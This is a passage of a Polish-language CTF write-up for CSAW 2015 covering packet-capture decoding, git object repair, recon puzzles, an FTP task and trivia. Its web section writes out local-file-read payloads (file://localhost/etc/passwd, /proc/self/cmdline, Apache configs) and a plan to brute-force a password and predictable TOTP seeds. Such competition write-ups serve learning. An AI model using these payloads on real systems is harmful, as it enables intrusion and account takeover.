     - unk2:  0
     - calculated hash: f9e9
     - rawdata:
        00 25 f2 a9 8d 96 8a 8c 84 9c 87 8d c7 89 8d 9f
        e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
        e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
        e9 f9 e9 f9 e9 f9 60 00
    PACKET 1
     - size: 68 bytes
     - hash:  0
     - magic1: 732
     - conn_id:  1
     - seq_id:  0
     - unk2:  0
     - calculated hash: f9e9
     - rawdata:
        00 00 28 a9 9a 98 84 89 85 9c c7 8d 80 9f e9 f9
        e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
        e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
        e9 f9 e9 f9 e9 f9 60 00
    PACKET 2
     - size: 68 bytes
     - hash:  0
     - magic1: 732
     - conn_id:  1
     - seq_id:  0
     - unk2:  0
     - calculated hash: f9e9
     - rawdata:
        00 00 15 c1 86 8c 9d 9f 80 95 8c d7 8d 98 9d f9
        e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
        e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9 e9 f9
        e9 f9 e9 f9 e9 f9 60 00
    (...)
    PACKET 9
     - size: 212 bytes
     - hash: 4567
     - magic1: 732
     - conn_id: 1c
     - seq_id:  0
     - unk2:  0
     - calculated hash: 3f50
     - rawdata:
        d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d
        50 3f 51 78 50 3f 50 28 58 39 50 3f 50 a7 e0 b2
        78 3f 50 3f 56 5d 1b 78 14 3f af 3f af 3f af 9f
        ed 98 c3 3f 50 2a 26 76 14 7e 04 47 cc d2 cd 48
        08 6b 87 89 90 40 63 cb 51 79 0a 2b 4b 2d 33 ef
        40 ce f9 7e ff 9d 32 1e 4a 34 16 9c 96 2d 1b b3
        19 77 14 90 76 5d 28 7b d9 1a 01 cb 4a 5d d9 22
        73 09 7c 67 ff 5d 47 b6 75 9f 72 fe 30 28 75 1d
        70 ed 6b 7c 83 a6 a7 38 63 d8 5e 05 98 3f d3 da
        0d 41 8f 08 8f d8 cc 06 ab a3 e5 08 2b 92 e3 c9
        0a d4 3c 7a da 97 78 3a e5 9f e4 93 dc 2a 6b 48
        e2 5f b3 79 a2 35 5b 86 46 23 1c e4 e7 e1 fa f2
        75 d4 d4 d4 21 4e 68 b2
     (...)

Co się rzuca w oczy bardzo - powtarzający sie padding na początku (e9f9). Dalej, wiemy że dane to plik .png - pierwszy pakiet z danymi to packet 9 (domyślamy się tego, bo jest w odpowiedzi na drugi request od klienta, oraz ma troche inną strukture niż peirwsze pakiety - przypominające headery jakieś).

Więc, kierowani intuicją, xorujemy pierwsze bajty pakietu 9 z nagłówkiem .png:

    >>> ' d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d'.replace(' ', '')
    'd96f1e785d354a35503f50321977146d'
    >>> ' d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d'.replace(' ', '').decode('hex')
    '\xd9o\x1ex]5J5P?P2\x19w\x14m'
    >>> raw = ' d9 6f 1e 78 5d 35 4a 35 50 3f 50 32 19 77 14 6d'.replace(' ', '').decode('hex')
    >>> png = '89504E470D0A1A0A0000000D49484452'.decode('hex')
    >>> def xor(a, b):
    ...     return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b))
    ...
    >>> xor(raw, png)
    'P?P?P?P?P?P?P?P?'
    >>> xor(raw, png).encode('hex')
    '503f503f503f503f503f503f503f503f'

W tym momencie możemy uścisnąć sobie dłonie - praktycznie rozwiązaliśmy zadanie. Pozostaje pytanie, skąd bierze się liczba z którą xorujemy - nie jest to stała, niestety. Ale kierowani znowu intuicją, domyślamy się że 'padding' z pierwszych pakietów to xorowane null bajty (długość się zgadza).

Ale od czego zależy ta liczba? W pakiecie mamy ciekawą daną z której jeszcze nie skorzystaliśmy - oznaczoną w strukturze jako 'hash'. Kiedy ta liczba jest równa 0, xorujemy dane z e9f9. Kiedy ta liczba jest równa 4567 xorujemy z 503f. W jaki sposób może być wyprowadzany wynikowy hash? Zgadnijmy...:

    >>> hex(0x503f + 0x4567)
    '0x95a6'

Jest to proste dodawanie wartości w polu 'hash' oraz magicznej stałej. Zaiste silne szyfrowanie ;).

Pozostaje dopracować nasz parser, i mamy wynik:

    msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/forensics_200_pcapin
    $ ./a.exe -tc
    PACKET 0
     - size: 68 bytes
     - hash:  0
     - magic1: 732
     - conn_id:  1
     - seq_id:  0
     - unk2:  0
     - calculated hash: f9e9
     - rawdata:
        e9 dc 1b 50 64 6f 63 75 6d 65 6e 74 2e 70 64 66   ...Pdocument.pdf
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
        00 00 00 00 00 00 89 f9                           ........
    PACKET 1
     - size: 68 bytes
     - hash:  0
     - magic1: 732
     - conn_id:  1
     - seq_id:  0
     - unk2:  0
     - calculated hash: f9e9
     - rawdata:
        e9 f9 c1 50 73 61 6d 70 6c 65 2e 74 69 66 00 00   ...Psample.tif..
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
        00 00 00 00 00 00 89 f9                           ........
    (...)
    PACKET 9
     - size: 212 bytes
     - hash: 4567
     - magic1: 732
     - conn_id: 1c
     - seq_id:  0
     - unk2:  0
     - calculated hash: 3f50
     - rawdata:
        89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52   .PNG........IHDR
        00 00 01 47 00 00 00 17 08 06 00 00 00 98 b0 8d   ...G............
        28 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0   (....bKGD.......
        bd a7 93 00 00 15 76 49 44 41 54 78 9c ed 9d 77   ......vIDATx...w
        58 54 d7 b6 c0 7f 33 f4 01 46 5a 14 1b 12 63 d0   XT....3..FZ...c.
        10 f1 a9 41 af a2 62 21 1a 0b 46 a3 c6 12 4b 8c   ...A..b!..F...K.
        49 48 44 af 26 62 78 44 89 25 51 f4 1a 62 89 1d   IHD.&bxD.%Q..b..
        23 36 2c 58 af 62 17 89 25 a0 22 c1 60 17 25 22   #6,X.b..%.".`.%"
        20 d2 3b 43 d3 99 f7 07 33 e7 0e 3a c8 00 83 e5    .;C....3..:....
        5d 7e df 37 df e7 9c 39 fb 9c b5 37 7b ad b3 f6   ]~.7...9...7{...
        5a eb 6c 45 8a a8 28 05 b5 a0 b4 ac 8c 15 3b 77   Z.lE..(.......;w
        b2 60 e3 46 f2 0a 0b b9 16 1c 4c db b7 de aa cd   .`.F......L.....
        25 eb 84 eb 71 71 38 8d                           %...qq8.

Jak widać wszystkie dane z png zostały pięknie przeczytane. Pozostaje zapisać pakiety od 9 do końca w pliku i odczytać znajdujacy się tam obrazek png:

bd271757f5.png

Zadanie rozwiązane.

Źródła całego dekodera (nie wiem po co napisanego, skoro prawdopodobnie żaden program na świecie nie używa takiego formatu do komunikacji, ale lubimy pisać parsery):

#include <stdio.h>
#include <stdbool.h>
#include <stdarg.h>
#include <string.h>

uint16_t be2le(uint16_t be) {
    return (be << 8) | (be >> 8);
}

#pragma pack(0)
struct packet {
    uint16_t hash;
    uint16_t magic1;
    uint16_t conn_id;
    uint16_t seq_id;
    uint16_t unk2;
    uint8_t raw[10000];
} buf;

bool data_only = false;
bool text_dump = false;
bool decrypt = false;

void print_info(const char *fmt, ...) {
    if (data_only) { return; }

    va_list args;
    va_start(args, fmt);
    vprintf(fmt, args);
    va_end(args);
}

uint8_t getxor(int ndx, uint16_t current_hash) {
    if (!decrypt) { return 0; }
    return (ndx % 2 == 0)
        ? (current_hash & 0x00FF)
        : (current_hash & 0xFF00) >> 8;
}

int main(int argc, char *argv[]) {
    FILE *f = fopen("rawdata.bin", "rb");

    for (int i = 1; i < argc; i++) {
        if (argv[i][0] != '-') {
            printf("Invalid argument: %s\n", argv[i]);
        }
        for (int j = 1; j < strlen(argv[i]); j++) {
            switch (argv[i][j]) {
                case 'd': data_only = true; break;
                case 't': text_dump = true; break;
                case 'c': decrypt = true; break;
            }
        }
    }

    for (int packet_ndx = 0; ; packet_ndx++) {
        uint16_t packet_len;
        int read = fread(&packet_len, 1, sizeof packet_len, f);
        if (read == 0) { 
            break;
        }
        packet_len = be2le(packet_len);

        if (packet_len == 0x454e) {
            uint8_t c;
            fread(&c, 1, 1, f);
            if (c != 0x44) {
                print_info("Ups :|.\n"); return 1;
            }
            print_info("END PACKET\n");
            continue;
        }

        print_info("PACKET %d\n", packet_ndx);
        
        print_info(" - size: %d bytes\n", packet_len);
        fread(&buf, 1, packet_len - 2, f);
        buf.hash = be2le(buf.hash);
        buf.magic1 = be2le(buf.magic1);
        buf.conn_id = be2le(buf.conn_id);
        buf.seq_id = be2le(buf.seq_id);
        buf.unk2 = be2le(buf.unk2);

        print_info(" - hash: %2x\n", buf.hash);
        print_info(" - magic1: %2x\n", buf.magic1);
        print_info(" - conn_id: %2x\n", buf.conn_id);
        print_info(" - seq_id: %2x\n", buf.seq_id);
        print_info(" - unk2: %2x\n", buf.unk2);

        uint16_t current_hash = be2le(0xe9f9) + buf.hash;
        print_info(" - calculated hash: %2x\n", current_hash);

        print_info(" - rawdata:\n");

        int raw_len = packet_len - 12;
        for (int i = 0; i < raw_len; i += 16) {
            if (i != 0) { printf("\n"); }
            if (!data_only) { printf("   "); }

            for (int j = 0; j < 16; j++) {
                uint8_t c = buf.raw[i+j] ^ getxor(j, current_hash);
                if (i + j < raw_len) {
                    printf(" %02x", c);
                } else {
                    printf("   ");
                }
            }

            if (text_dump) {
                printf("   ");
                for (int j = 0; j < 16; j++) {
                    uint8_t c = buf.raw[i+j] ^ getxor(j, current_hash);
                    if (i + j < raw_len) {
                        printf("%c", c >= ' ' && c <= '~' ? c : '.');
                    } else {
                        printf(" ");
                    }
                }
            }
        } printf("\n");
    }
}

<font size="6">forensics 200 airport</span>

<font size="6">sharpturn (forensics, 400p, 110 solves)</span>

I think my SATA controller is dying.

sharpturn.tar.xz-46753a684d909244e7d916cfb5271a95

Dostajemy zip z czymś co może być tylko zawartością folderu .git. Wypakowywujemy więc sobie z niego dane (zrobiliśmy to za pomocą pythona, import zlib i zlib.decompress, ale po zastanowieniu w sumie wystarczyłby pewnie git checkout ;) ).

Po chwili zauważamy że coś się nie zgadza - hash pliku sharp.cpp jest inny niż powinien. Patrzymy więc na rewizje po kolei - rewizja pierwsza ma dobry hash. Rewizja druga... już nie. Napisaliśmy więc sprytny skrypt w pythonie, flipujący losowe bity (domyślamy się że o to chodzi, skoro w treści zadania jest coś o umierającym kontrolerze SATA) i próbujący odkryć te które sie nie zgadzają.

expected = 'efda2f556de36b9e9e1d62417c5f282d8961e2f8' # level 1
expected = '354ebf392533dce06174f9c8c093036c138935f3' # level 2
expected = 'd961f81a588fcfd5e57bbea7e17ddae8a5e61333' # level 3
expected = 'f8d0839dd728cb9a723e32058dcc386070d5e3b5' # level 4

d = open('sharp_v4_f8d0_8096').read()

def githash(d):
    import hashlib
    return hashlib.sha1('blob {}\0{}'.format(len(d), d)).hexdigest()

def bitflips(dat):
    for i in range(len(dat)):
        c = ord(dat[i])
        for bit in range(256):
            cc = chr(bit)
            dd = dat[:i] + cc + dat[i+1:]
            yield dd


for f in bitflips(d):
    if githash(f) == expected:
        print f

W ten sposób dochodzimy do poprawnej wersji rewizji drugiej. Niestety hash rewizji trzeciej również się nie zgadza, ale poprawiamy i jego naszym bitflipperem i mamy poprawną rewizję trzecią. I to samo robimy przy czwartej - plik ze złym hashem zamieniamy na plik z dobrym hashem.

W tym momencie mamy wszystko czego potrzebujemy - faktoryzujemy sobie jeszcze liczbę jak wymaga program, i idziemy:

    Part1: Enter flag:
    flag
    Part2: Input 31337:
    31337
    Part3: Watch this: https://www.youtube.com/watch?v=PBwAxmrE194
    ok
    Part4: C.R.E.A.M. Get da _____:
    money
    Part5: Input the two prime factors of the number 272031727027.
    31357 8675311
    flag{3b532e0a187006879d262141e16fa5f05f2e6752} 

(Warto zauważyć poczucie humoru autorów zadania, gdzie "enter flag" wymaga podania dosłownie "flag").

Flaga którą otrzymujemy jest przyjmowana przez system, więc jesteśmy kolejne 400 punktów do przodu.

<font size="6">Julian Cohen (recon, 100p, 883 solves)</span>

Bardzo krótkie zadanie. Wyszukiwanie Juliana Cohena, zawężone do tematyki CTFów pozwala bardzo szybo trafić na jego twittera (@HockeyInJune) gdzie wprost umieścił flagę w jednym z wpisów https://twitter.com/HockeyInJune/status/641716034068684800

550565f02c.png

flag{f7da7636727524d8681ab0d2a072d663}

<font size="6">Alexander Taylor (recon, 100p, 424 solves)
</span>

Dostajemy link od którego możemy wystartować http://fuzyll.com/csaw2015/start
Pod linkiem jest pierwsza zagadka:

CSAW 2015 FUZYLL RECON PART 1 OF ?: Oh, good, you can use HTTP! The next part is at /csaw2015/<the acronym for my university's hacking club>.

Odszukujemy informacje o uczelni Alexandra Taylora na podstawie jego profilu na linkedin i jest to University of South Florida. Sprawdzamy jak nazywa się klub komputerowy tej uczelni i URL jego strony zaczyna sie od wcsc
Przechodzimy więc do http://fuzyll.com/csaw2015/wcsc i dostajemy kolejną zagadkę:

CSAW 2015 FUZYLL RECON PART 2 OF ?: TmljZSB3b3JrISBUaGUgbmV4dCBwYXJ0IGlzIGF0IC9jc2F3MjAxNS88bXkgc3VwZXIgc21hc2ggYnJvdGhlcnMgbWFpbj4uCg==

Już na pierwszy rzut oka widać że jest to Base64, które po zdekodowaniu daje nam kolejną zagadkę:

Nice work! The next part is at /csaw2015/<my super smash brothers main>.

Chwila spędzona w google pozwala nam znaleźć filmiki na youtube gdzie postać użytkownika fuzyll (a taki nick ma Alexander Taylor) walczy z innymi graczami. Jego postać to Yoshi, przechodzimy więc do:

http://fuzyll.com/csaw2015/yoshi

Gdzie dostajemy z serwera png z yoshim:

8aa7b079d2.png

Analiza tego png pozwala nam znaleźć w środku kolejną zagadkę:

SAW 2015 FUZYLL RECON PART 3 OF ?: Isn't Yoshi the best?! The next egg in your hunt can be found at /csaw2015/<the cryptosystem I had to break in my first defcon qualifier

Dalsza część poszukiwań doprowadza nas for informacji że do złamania była Enigma. Podążamy więc dalej:

http://fuzyll.com/csaw2015/enigma

Gdzie czeka na nas kolejna zagadka:

CSAW 2015 FUZYLL RECON PART 4 OF 5: Okay, okay. This isn't Engima, but the next location was "encrypted" with the JavaScript below: Pla$ja|p$wpkt$kj$}kqv$uqawp$mw>$+gwes6451+pla}[waa[ia[vkhhmj

var s = "THIS IS THE INPUT"
var c = ""
for (i = 0; i < s.length; i++) {
    c += String.fromCharCode((s[i]).charCodeAt(0) ^ 0x4);
}
console.log(c);

Jak nie trudno zauważyć funkcja "szyfrująca" korzysta jedynie z operacji XOR na stałym kluczu więc do jej odwrócenia wystarczy wykonać identyczną operację po raz drugi. W ten sposób uzyskujemy: they_see_me_rollin i przechodzimy do:

http://fuzyll.com/csaw2015/they_see_me_rollin

Gdzie znajduje się poszukiwana przez nas flaga:

CSAW 2015 FUZYLL RECON PART 5 OF 5: Congratulations! Here's your flag{I_S3ARCH3D_HI6H_4ND_L0W_4ND_4LL_I_F0UND_W4S_TH1S_L0USY_FL4G}!

<font size="6">FTP2 (pwn, 300p, ? solves)</span>

nc 54.172.10.117 12012
ftp_0319deb1c1c033af28613c57da686aa7

Pobieramy zalinkowany plik i ładujemy do IDY. Jest to faktycznie, zgodnie z opisem, serwer FTP - ten sam co w zadaniu FTP (re 300).

Wiemy że flaga znajduje się gdzieś na serwerze. Mamy też username i hasło.

Spróbowaliśmy najpierw dorwać się do serwera FTP w cywilizowany sposób - po prostu łącząc się klientem FTP. Niestety, nie wyszło (ani filezilla, ani webowe klienty nie dały rady - jednak widać ten serwer FTP nie był tak kompatybilny jak moglibyśmy liczyć).

Napisaliśmy więc trywialnego klienta FTP, łączącego się z serwerem:

client.py:

import socket
import subprocess

HOST = '54.175.183.202' 
s = socket.socket()
s.connect((HOST, 12012))

def send(t):
    print t
    s.send(t)

def recv():
    msg = s.recv(9999)
    print msg
    return msg

recv()
send('USER blankwall\n')
recv()
send('PASS TkCWRy')
recv()
recv()

while True:
    print ">>",
    i = raw_input() + '\n'
    send(i)
    msg = recv()
    if 'PASV succesful' in msg:
        port = int(msg.split()[-1])
        print port
        subprocess.Popen(['python', 'process.py', str(port)])

process.py:

import socket
import sys

HOST = '54.175.183.202' 

port = int(sys.argv[1])
t = socket.socket()
t.connect((HOST, port))
print t.recv(99999999)

I tutaj zdarzyła się dziwna rzecz - wylistowaliśmy katalog po połączeniu się (poleceniem LIST), i widzimy plik o nazwie "flag" w cwd.

Następnie wykonaliśmy polecenie RETR, żeby pobrać ten plik. I... dostaliśmy flagę:

flag{exploiting_ftp_servers_in_2015}

Było to bardzo niespodziewane, i albo to jakiś błąd autorów zadania, albo ktoś wyexploitował zadanie "po bożemu" i (nieświadomie?) zostawił flagę w pliku na serwerze czytalnym dla każdego.

Tak czy inaczej, tanie 300 punktów do przodu.

<font size="6">Trivia 1 (trivia, 10p, 729 solves)</span>
This family of malware has gained notoriety after anti-virus and threat intelligence companies claimed that it was being used by several Chinese military groups.

PlugX

<font size="6">Trivia 1 (trivia, 10p, 963 solves)</span>
No More Free __!

bugs

<font size="6">Trivia 1 (trivia, 10p, 1021 solves)</span>
This mode on x86 is generally referred to as ring -2.

System Management Mode

<font size="6">Trivia 1 (trivia, 10p, 1083 solves)</span>
This vulnerability occurs when the incorrect timing/sequence of events may cause a bug.

Race condition

<font size="6">Trivia 5 (trivia, 10p, 1016 solves)</span>
On Windows, loading a library and having it's code run in another process is called _ .

dll injection

<font size="6">Math aside, we are all black hats Now (trivia 10)</span>

This Pentesting expert supplied HBO's Silicon Valley with technical advice in season 2. The flag is his twitter handle.
PL Version

Zadanie polegało na znalezieniu loginu na twitterze pentestera który pracował jako doradca przy 2 sezonie serialu Silicon Valley. Chwila googlowania pozwala dowiedzieć się że jest to Rob Fuller więc flaga to mubix

<font size="6">Weebdate (web, 500p, 69 solves)</span>

Zadanie polegało na zdobyciu hasła oraz sekretnego kodu TOTP wykorzystywanego do podwójnej autentykacji dla użytkownika pewnego serwisu internetowego. Zadania nie udało nam sie finalnie rozwiązać, ale jedynie z braku czasu (znaleźliśmy kluczową podatność na kilka minut przed końcem CTFa). Niemniej kilkanaście minut więcej wystarczyłoby na uporanie się z zadaniem, bo wiedzieliśmy jak należy to zrobić. To co udało nam się ustalić jest na tyle wartościowe, że postanowiliśmy to opisać.

Hasło użytkownika można było uzyskać za pomocą słownikowego brute-force, ponieważ strona informowała nas czy niepoprawne podaliśmy hasło czy kod weryfikujący. W efekcie nawet bez kodu mogliśmy spokojnie brute-forceować samo hasło.
Problemem był sekretny kod pozwalający na generowanie kodów TOTP. Udało nam się zaobserwować, że kod jest generowany na bazie pierwszych 4 znaków loginu oraz adresu IP, ale nie wiedzieliśmy nadal w jaki sposób powstaje kod. Nie wiedzieliśmy także skąd wziąć adres IP użytkownika (niemniej przypuszczaliśmy że tylko fragment adresu IP jest brany pod uwagę i możliwe że tu także będzie się dało coś wykonać prostym brute-force).

W zadaniu szukaliśmy podatności dość długo analizując wszelkie aspekty jakie przychodziły nam do głowy - SQL Injection, Cookies, XSS...
Kluczem do zadania okazał się formularz edycji naszego profilu gdzie mogliśmy podać link do pliku z awatarem. Serwer próbował otworzyć ten plik w trakcie zapisywania zmian w profilu ale nie obsługiwał błędów w sposób poprawny, niewidoczny dla użytkownika.
W efekcie podanie niepoprawnego URLa wyświetlało nam kilka cennych informacji - językiem w którym napisana była strona był python a awatar był otwierany przez urllib.urlopen(). Dodatkowo podanie ścieżki do pliku który nie jest obrazkiem powodowało wyświetlenie zawartości tego pliku w logu błędu.
Istotnym aspektem funkcji urllib.urlopen() jest to, że można ona otwierać nie tylko pliki zdalne ale także lokalne.
Pierwsze próby były nieudane ponieważ próba otwarcia pliku z lokalnej ścieżki kończyła sie błędem. Okazało się, że server wymaga podania parametru netpath, więc dodajemy localhost do naszej lokalnej ścieżki i próbujemy otworzyć:
file://localhost/etc/passwd

3419a1a235.png

Operacja zakończyła się powodzeniem więc wiedzieliśmy, że mamy możliwość czytania plików na serwerze. Zaczęliśmy od sprawdzenia gdzie jest uruchomiona aplikacja którą sie zajmujemy. Czytanie:
file://localhost/proc/self/cmdline
Pozwoliło stwierdzić że jest to /usr/sbin/apache2-kstart
Przeanalizowaliśmy więc pliki konfiguracyjne:
file://localhost/etc/apache2/ports.conf

f0f6d211b1.png

file://localhost/etc/apache2/sites-enabled/000-default.conf

62786e196b.png

Co pozwoliło nam poznać ścieżkę do aplikacji. Następnie wyświetliśmy zawartość pliku server.py który wykorzystywał plik utils.py
file://localhost/var/www/weeb/server.py
file://localhost/var/www/weeb/utils.py

W pliku utils.py znajdujemy brakujący element układanki:

def generate_seed(username, ip_address): 
	return int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0] 

def get_totp_key(seed): 
	random.seed(seed) return pyotp.random_base32(16, random)

Widzimy, że nasze przypuszczenia były słuszne - pod uwagę branę są 4 pierwsze litery loginu oraz pierwszy oktet adresu IP. Ale widzimy także w jaki sposób te dane są wykorzystywane - oba elementy są rzutowane do intów i dodawane a następnie wykorzystywane jako seed dla randoma.
Niestety na tym etapie skończył się nam czas. Niemniej rozwiązanie z tego miejsca jest już zupełnie oczywiste:
Znamy login ofiary a jeden oktet IP ma zaledwie 255 potencjalnych wartości. Możemy więc wygenerować wszytskie potencjalne sekretne klucze a następnie wykorzystać je w połączeniu z poznanym hasłem do brute-forcowania formularza logowania - końcu testujemy zaledwie 255 możliwości.

<font size="6">Zakończenie:</span>

Zachęcamy do komentarzy/pytań/czegokolwiek.
Trochę bogatsza wersja znajduje się na githubie (bo i github pozwala na więcej niż Coyote) - w tym binarki z zadaniami i origninalne dane. No i tłumaczenia writeupów na angielski, jeśli ktoś woli w takiej wersji: https://github.com/p4-team/ctf/tree/master/2015-09-16-csaw